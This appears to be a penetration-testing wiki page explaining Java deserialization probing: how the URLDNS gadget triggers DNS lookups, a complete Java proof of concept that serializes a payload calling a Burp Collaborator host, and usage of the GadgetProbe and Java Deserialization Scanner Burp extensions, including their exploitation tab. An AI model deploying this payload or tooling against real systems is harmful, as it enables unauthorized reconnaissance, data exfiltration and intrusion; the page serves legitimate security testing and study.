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189 lines
8.6 KiB
Markdown
189 lines
8.6 KiB
Markdown
# Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
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## DNS request on deserialization
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The class `java.net.URL` implements `Serializable`, this means that this class can be serialized.
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```java
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public final class URL implements java.io.Serializable {
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```
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This class have a **curious behaviour.** From the documentation: “**Two hosts are considered equivalent if both host names can be resolved into the same IP addresses**”.\
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Then, every-time an URL object calls **any **of the **functions `equals`** or **`hashCode`** a **DNS request **to get the IP Address is going to be **sent**.
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**Calling **the function **`hashCode`** **from **an **URL **object is fairly easy, it's enough to insert this object inside a `HashMap` that is going to be deserialized. This is because **at the end** of the **`readObject`** function from `HashMap` this code is executed:
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```java
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private void readObject(java.io.ObjectInputStream s)
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throws IOException, ClassNotFoundException {
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[ ... ]
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for (int i = 0; i < mappings; i++) {
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[ ... ]
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putVal(hash(key), key, value, false, false);
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}
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```
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It is **going **the **execute **`putVal` with every value inside the `HashMap`. But, more relevant is the call to `hash` with every value. This is the code of the `hash` function:
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```java
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static final int hash(Object key) {
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int h;
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return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
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}
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```
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As you can observe, **when deserializing **a **`HashMap`** the function `hash` is going to **be executed with every object** and **during **the **`hash`** execution** it's going to be executed `.hashCode()` of the object**. Therefore, if you **deserializes **a **`HashMap`** **containing **a **URL **object, the **URL object** will **execute **`.hashCode()`.
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Now, lets take a look to the code of `URLObject.hashCode()` :
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```java
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public synchronized int hashCode() {
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if (hashCode != -1)
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return hashCode;
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hashCode = handler.hashCode(this);
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return hashCode;
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```
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As you can see, when a `URLObject` executes`.hashCode()` it is called `hashCode(this)`. A continuation you can see the code of this function:
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```java
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protected int hashCode(URL u) {
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int h = 0;
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// Generate the protocol part.
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String protocol = u.getProtocol();
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if (protocol != null)
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h += protocol.hashCode();
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// Generate the host part.
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InetAddress addr = getHostAddress(u);
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[ ... ]
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```
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You can see that a `getHostAddress` is executed to the domain,** launching a DNS query**.
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Therefore, this class can be **abused **in order to **launch **a **DNS query **to **demonstrate **that **deserialization **is possible, or even to **exfiltrate information **(you can append as subdomain the output of a command execution).
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### URLDNS payload code example
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You can find the [URDNS payload code from ysoserial here](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). However, just for make it easier to understand how to code it I created my own PoC (based on the one from ysoserial):
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```java
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import java.io.File;
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import java.io.FileInputStream;
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import java.io.FileOutputStream;
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import java.io.IOException;
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import java.io.ObjectInputStream;
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import java.io.ObjectOutputStream;
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import java.lang.reflect.Field;
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import java.net.InetAddress;
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import java.net.URLConnection;
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import java.net.URLStreamHandler;
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import java.util.HashMap;
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import java.net.URL;
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public class URLDNS {
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public static void GeneratePayload(Object instance, String file)
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throws Exception {
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//Serialize the constructed payload and write it to the file
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File f = new File(file);
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ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
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out.writeObject(instance);
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out.flush();
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out.close();
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}
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public static void payloadTest(String file) throws Exception {
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//Read the written payload and deserialize it
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ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
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Object obj = in.readObject();
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System.out.println(obj);
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in.close();
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}
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public static void main(final String[] args) throws Exception {
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String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
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HashMap ht = new HashMap(); // HashMap that will contain the URL
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URLStreamHandler handler = new SilentURLStreamHandler();
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URL u = new URL(null, url, handler); // URL to use as the Key
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ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
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// During the put above, the URL's hashCode is calculated and cached.
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// This resets that so the next time hashCode is called a DNS lookup will be triggered.
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final Field field = u.getClass().getDeclaredField("hashCode");
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field.setAccessible(true);
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field.set(u, -1);
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//Test the payloads
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GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
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}
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}
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class SilentURLStreamHandler extends URLStreamHandler {
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protected URLConnection openConnection(URL u) throws IOException {
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return null;
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}
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protected synchronized InetAddress getHostAddress(URL u) {
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return null;
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}
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}
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```
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### More information
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* [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
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* In the original idea thee commons collections payload was changed to perform a DNS query, this was less reliable that the proposed method, but this is the post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
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## GadgetProbe
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You can download [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) from the Burp Suite App Store (Extender).
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**GadgetProbe** will try to figure out if some **Java classes exist** on the Java class of the server so you can know **if **it's **vulnerable **to some known exploit.
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### How does it work
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**GadgetProbe **will use the same **DNS payload of the previous section** but **before **running the DNS query it will** try to deserialize an arbitrary class**. If the **arbitrary class exists**, the **DNS query **will be **sent **and GadgProbe will note that this class exist. If the **DNS **request is **never sent**, this means that the **arbitrary class wasn't deserialized **successfully so either it's not present or it''s** not serializable/exploitable**.
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Inside the github, [**GadgetProbe has some wordlists**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists)** **with Java classes for being tested.
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 (1) (1).gif>)
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### More Information
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* [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
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## Java Deserialization Scanner
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This scanner can be **download **from the Burp App Store (**Extender**).\
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The **extension **has **passive **and active **capabilities**.
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### Passive
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By default it **checks passively **all the requests and responses sent **looking **for **Java serialized magic bytes** and will present a vulnerability warning if any is found:
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.png>)
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### Active
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#### Manual Testing
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You can select a request, right click and `Send request to DS - Manual Testing`.\
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Then, inside the_ Deserialization Scanner Tab_ --> _Manual testing tab_ you can select the **insertion point**. And **launch the testing** (Select the appropriate attack depending on the encoding used).
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Even if this is called "Manual testing", it's pretty **automated**. It will automatically check if the **deserialization **is **vulnerable **to **any ysoserial payload** checking the libraries present on the web server and will highlight the ones vulnerable. In order to **check **for **vulnerable libraries **you can select to launch **Javas Sleeps**, **sleeps **via **CPU **consumption, or using **DNS **as it has previously being mentioned.
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#### Exploiting
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Once you have identified a vulnerable library you can send the request to the _Exploiting Tab_.\
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I this tab you have to **select **the **injection point **again, an **write **the **vulnerable library **you want to create a payload for, and the **command**. Then, just press the appropriate **Attack **button.
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.png>)
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### More Information
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* [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
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